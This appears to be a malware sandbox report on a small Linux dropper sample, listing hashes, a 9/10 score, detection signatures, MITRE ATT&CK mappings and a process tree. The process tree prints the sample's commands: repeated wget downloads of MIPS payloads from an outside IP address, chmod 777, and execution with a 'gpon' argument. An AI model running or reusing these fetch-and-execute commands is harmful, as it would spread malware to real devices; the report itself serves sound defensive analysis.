0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472

Analysis

max time kernel
3s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
07/08/2026, 17:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
Size 970B
Sample260807-vkblbaha28
SHA256 0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
MD5 eb7a71de452b4a45ac20dcf9b983ba9a
SHA1 18d2d39bfead8796e938a6f2ac489746eb2719b8
SHA512 e5ca352126e99dfe5e047d7ee2982b31c1c642fe177e8b1cb07fd2cbb279fae4700c18858632abfa4586f731bf91357bf65def1ce0dcc8fd1651d4a67ce849cf
TLSH
T17911BACCECA18571F94CC817EAAE66A2E385251F0CC41849702E8B70EF5C8A5F282632
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Detects suspicious XORed keyword - Mozilla/5.0 4 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	SUSP_XORed_Mozilla
behavioral2/files/fstream-2.dat	SUSP_XORed_Mozilla
behavioral2/files/fstream-3.dat	SUSP_XORed_Mozilla
behavioral2/files/fstream-4.dat	SUSP_XORed_Mozilla

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
669	chmod
681	chmod
692	chmod
706	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/var/x	670	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/var/x	672	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/var/x	682	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/var/x	684	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/var/x	693	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/var/x	695	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/var/x	707	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/var/x	710	0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
700	wget
678	wget

/tmp/0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
/tmp/0cf5a4602e07973557db81f3e6ede63a8612cd62ce657eda9995ac4293c21472
1⤵
- Executes dropped EXE
PID:637
- /bin/rm
  rm -f x
  2⤵
  PID:639
- /bin/rm
  rm -f x
  2⤵
  PID:641
- /usr/bin/wget
  wget -q -O x http://95.155.151.113/d/slim.mpsl
  2⤵
  PID:644
- /usr/bin/wc
  wc -c
  2⤵
  PID:668
- /bin/chmod
  chmod 777 x
  2⤵
  - File and Directory Permissions Modification
  PID:669
- /var/x
  /var/x gpon
  2⤵
  PID:670
- /var/x
  ./x gpon
  2⤵
  PID:672
- /bin/rm
  rm -f x
  2⤵
  PID:674
- /bin/rm
  rm -f x
  2⤵
  PID:675
- /bin/rm
  rm -f x
  2⤵
  PID:677
- /usr/bin/wget
  wget -q -O x http://95.155.151.113/d/slim.mips
  2⤵
  - System Network Configuration Discovery
  PID:678
- /usr/bin/wc
  wc -c
  2⤵
  PID:680
- /bin/chmod
  chmod 777 x
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /var/x
  /var/x gpon
  2⤵
  PID:682
- /var/x
  ./x gpon
  2⤵
  PID:684
- /bin/rm
  rm -f x
  2⤵
  PID:686
- /bin/rm
  rm -f x
  2⤵
  PID:687
- /bin/rm
  rm -f x
  2⤵
  PID:688
- /usr/bin/wget
  wget -q -O x http://95.155.151.113/d/xd.mpsl
  2⤵
  PID:689
- /usr/bin/wc
  wc -c
  2⤵
  PID:691
- /bin/chmod
  chmod 777 x
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /var/x
  /var/x gpon
  2⤵
  PID:693
- /var/x
  ./x gpon
  2⤵
  PID:695
- /bin/rm
  rm -f x
  2⤵
  PID:697
- /bin/rm
  rm -f x
  2⤵
  PID:698
- /bin/rm
  rm -f x
  2⤵
  PID:699
- /usr/bin/wget
  wget -q -O x http://95.155.151.113/d/xd.mips
  2⤵
  - System Network Configuration Discovery
  PID:700
- /usr/bin/wc
  wc -c
  2⤵
  PID:704
- /bin/chmod
  chmod 777 x
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /var/x
  /var/x gpon
  2⤵
  PID:707
- /var/x
  ./x gpon
  2⤵
  PID:710
- /bin/rm
  rm -f x
  2⤵
  PID:712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /var/x
Size 618KB
SHA256 c6f2a5f211ce38e1f430db9b2291ccbb926b4e645884b9528da6924d1c4aa30c
MD5 1be1da7c69564d687c3538f9fe43652c
SHA1 4dcffb7a7d845db3ea7bd4dea6ad0610b4d313de
SHA512 1b093e43050c4e137c095cb08386f9ffb0fb31345b8b78edaf8a6654c7d80c805b78c3dc2dbfa17851e3cecc194cf3a1a1fed1dd8f82dc98854aa4ad07c0244f
SSDEEP 12288:pDtVli5drfb8hy/W5C9oJ1+xLkh8Y1dNksmCKfwb2jTqfXhE38h6zEEIqNokI2cu:ue64h2Ft1dzHamfp0yXPSzmh0Ki9
TLSH
T131D45B02EF440FEBD4AFCD30856E435B19ED998712C1AA74A1FC495CBB8D65A4FE3488
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/x
Size 617KB
SHA256 4ad8c32f54e0c8bf9bf4c44c171a4f891f57bccf31b7c9a5581820b516efd525
MD5 fcf46de7f520ee7b28ad966bc3723611
SHA1 8d0bcbfdaa609b0dae71e0627b22aa74d0a93eaa
SHA512 07ef2d9a256d1e46a192a19c73abb088302a15f2bfad8480e48cba5afe50d59c43d467bf13bf98b5dfb0bda814ea816d9caa5940c847b87fc1e15b9f6a1ba2c4
SSDEEP 12288:KUggsyj4pEuhJbJiMCFhIMIMHaBQD93J18pNMkBMs:/gghj4pEuhJzCFhRIMHx93Lkj
TLSH
T168D47C6377228FA8E761D57005F38B555AA521B30EF354C2A27CD6207A10A7D2D2FEF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/x
Size 721KB
SHA256 acfcabaf7efea0585edaa36b830ca0346b7de8801c5c3994420cb7c68fec4d82
MD5 4a5a627c6f5c9d39dbc74e66ab52f330
SHA1 25c1a6a52aafaf86ec270a9b914641d9a114dcee
SHA512 71235e0bdb6d94a816d5fb98c98cf2c3aeb335068a7d3027ed68063daeffd5b0b204fdc533bf799dbecb2c0158b7448d81005d7b21301414ed4b474a085c466c
SSDEEP 12288:bCprkAdiJbjHDw5rgmOtY/4iAEGKoWRstBTNffcp+aIBxXP89Pf2SjDPwbG6xNK9:b3I8E1I34i28HeEULxymNVDgfC
TLSH
T11BF45B02FF446FEBC46FCD70892DC35B14EDA98756C1A27971FC4A8CBA5965A0EC3488
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /var/x
Size 721KB
SHA256 20caa4100a46af1cc5afe27b9ecbc27b20c27382a5d92137fe8d12e113274f5e
MD5 e4e3242ad2a95df73f291a7dc3ab68f6
SHA1 4a8f6ba533d2113263fd708652c3ce5ffeb05057
SHA512 98150b470d02debe156747901fe4a71d7be852b701d978517a4b709aa41e157a26823de2d36b0bf1eb2b513af00a43e879b7844984183c96689f0328127f0d4d
SSDEEP 12288:f2s/kOndahO4GxuORGWQ1VChzcrkjvpfxnbkC+gRn0n8pu0kBb0S3:f2s/qhO4GxuOkChgrkjlxnb6gRnTk53
TLSH
T10EF46C627B22DF64E364D17108F3C7A595D421621EF280C9727CD7187A60A6E2D3FEE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads